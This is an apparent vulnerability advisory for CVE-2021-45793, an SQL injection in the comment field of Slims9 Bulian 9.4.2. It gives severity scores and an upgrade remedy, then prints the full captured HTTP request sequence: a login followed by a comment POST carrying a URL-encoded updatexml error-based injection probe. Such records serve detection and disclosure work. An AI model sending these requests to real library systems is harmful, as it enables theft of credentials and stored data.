| Title | Slims9 Bulian 9.4.2 - SQL Injection |
|---|---|
| Author | nblirwn |
| Severity | High |
| Impact | Authenticated attackers can exploit SQL injection in the comment field to extract database contents including user credentials and sensitive library data. |
| Remediation | Upgrade to Slims9 Bulian version 9.4.3 or later. |
| CVSS Score | 7.5 |
| EPSS Score | 0.11747 |
| CVE ID | CVE-2021-45793 |
| CWE ID | CWE-89 |
| Tags | cve2021 cve slims sqli vuln |
Slims9 Bulian 9.4.2 is affected by SQL injection in lib/comment.inc.php. User data can be obtained.
GET /index.php?p=member&destination HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Connection: close
Accept-Encoding: gzip
POST /index.php?p=member&destination HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1 Safari/605.1.15
Connection: close
Content-Length: 77
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
memberID=JNuK1G&memberPassWord=vicPDR&_csrf_token_bima8S=khEtHa&logMeIn=Login
GET /index.php?p=show_detail&id=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /index.php?p=show_detail&id=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:137.0) Gecko/20100101 Firefox/137.0
Connection: close
Content-Length: 171
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
comment=%27and%2F**%2F1%3D%28updatexml%281%2Cconcat%280x3a%2Cmd5%288749%29%29%2C1%29%29%2F**%2Fand%2F**%2F%271%27%3D%271&SaveComment=Save+comment&_csrf_token_bima8S=8aWpHP
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-45793.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-45793.pcap
N/AN/A